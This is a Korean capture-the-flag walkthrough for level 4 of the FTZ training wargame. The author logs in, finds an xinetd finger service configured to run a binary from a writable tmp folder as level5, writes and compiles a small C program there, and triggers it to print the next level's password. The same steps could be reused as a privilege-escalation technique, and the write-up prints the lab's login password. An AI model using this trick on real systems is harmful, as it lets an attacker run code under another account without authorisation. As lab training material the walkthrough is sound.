ID : level4
PW : suck my brain
LeVeL 4 접속
[level4@ftz level4]$ ls -al
total 80
drwxr-xr-x 4 root level4 4096 May 7 2002 .
drwxr-xr-x 34 root root 4096 Sep 10 2011 ..
-rw------- 1 root root 1 Jan 15 2010 .bash_history
-rw-r--r-- 1 root root 24 Feb 24 2002 .bash_logout
-rw-r--r-- 1 root root 224 Feb 24 2002 .bash_profile
-rw-r--r-- 1 root root 151 Feb 24 2002 .bashrc
-rw-r--r-- 1 root root 400 Sep 24 2000 .cshrc
-rw-r--r-- 1 root root 4742 Sep 24 2000 .emacs
-r--r--r-- 1 root root 319 Sep 24 2000 .gtkrc
-rw-r--r-- 1 root root 100 Sep 24 2000 .gvimrc
-rw-r--r-- 1 root root 50 Feb 24 2002 hint
-rw-r--r-- 1 root root 226 Sep 24 2000 .muttrc
-rw-r--r-- 1 root root 367 Sep 24 2000 .profile
drwxr-xr-x 2 root level4 4096 Feb 24 2002 public_html
drwxrwxr-x 2 root level4 4096 Nov 28 19:28 tmp
-rw-r--r-- 1 root root 1 May 7 2002 .viminfo
-rw-r--r-- 1 root root 4145 Sep 24 2000 .vimrc
-rw-r--r-- 1 root root 245 Sep 24 2000 .Xdefaults
힌트를 읽습니다.
[level4@ftz level4]$ cat hint
누군가 /etc/xinetd.d/에 백도어를 심어놓았다.!
*백도어란?
시스템 설계자나 관리자에 의해 고의로 남겨진 시스템의 보안 헛점으로 관리자가 응용 프로그램이나 운영체제에 쉽게 접근하기위해 만들어 놓은 뒷문
시스템 접근에 대한 사용자 인증 등 정상적인 절차를 거치지 않고 응용 프로그램 또는 시스템에 접근 가능
일단 경로로 가봅시다.
[level4@ftz level4]$ cd /etc/xinetd.d/
[level4@ftz xinetd.d]$ ls
backdoor chargen-udp daytime-udp echo-udp ntalk rlogin rsync services talk time
chargen daytime echo finger rexec rsh servers sgi_fam telnet time-udp
backdoor 파일이 있습니다. 읽어봅시다.
[level4@ftz xinetd.d]$ cat backdoor
service finger
{
disable = no
flags = REUSE
socket_type = stream
wait = no
user = level5
server = /home/level4/tmp/backdoor
log_on_failure += USERID
}
finger 서비스를 사용하고,
level5 권한으로 실행할 수 있는 것 같네요!
이떄, server의 경로의 파일이 실행됩니다.
경로로 가봅시다.
[level4@ftz xinetd.d]$ cd /home/level4/tmp/
[level4@ftz tmp]$ ls
[level4@ftz tmp]$
아무런 파일이 없습니다.
그러면 우리가 직접 backdoor 파일을 만들어줍시다.
[level4@ftz tmp]$ vi backdoor.c
#include <stdio.h>
int main(void){
system("my-pass");
return 0;
}
만든 C파일을 GCC로 컴파일 합니다.
[level4@ftz tmp]$ gcc -o backdoor backdoor.c
[level4@ftz tmp]$ ls -al
total 24
drwxrwxr-x 2 root level4 4096 Nov 28 19:28 .
drwxr-xr-x 4 root level4 4096 May 7 2002 ..
-rwxrwxr-x 1 level4 level4 11545 Nov 28 19:28 backdoor
-rw-rw-r-- 1 level4 level4 68 Nov 28 19:27 backdoor.c
생성 완료!
이제 finger 서비스를 사용하게 되면!
/etc/xinetd.d/backdoor 파일 안에 server의 경로가 실행되면서
level5 의 비밀번호를 얻을 수 있습니다.
[level4@ftz tmp]$ finger @localhost
^[[H^[[J
Level5 Password is
성공이다. !-_-!
+ 패스워드가 나오지 않는다면 'finger @localhost' 명령어를 반복해서 실행시켜보자.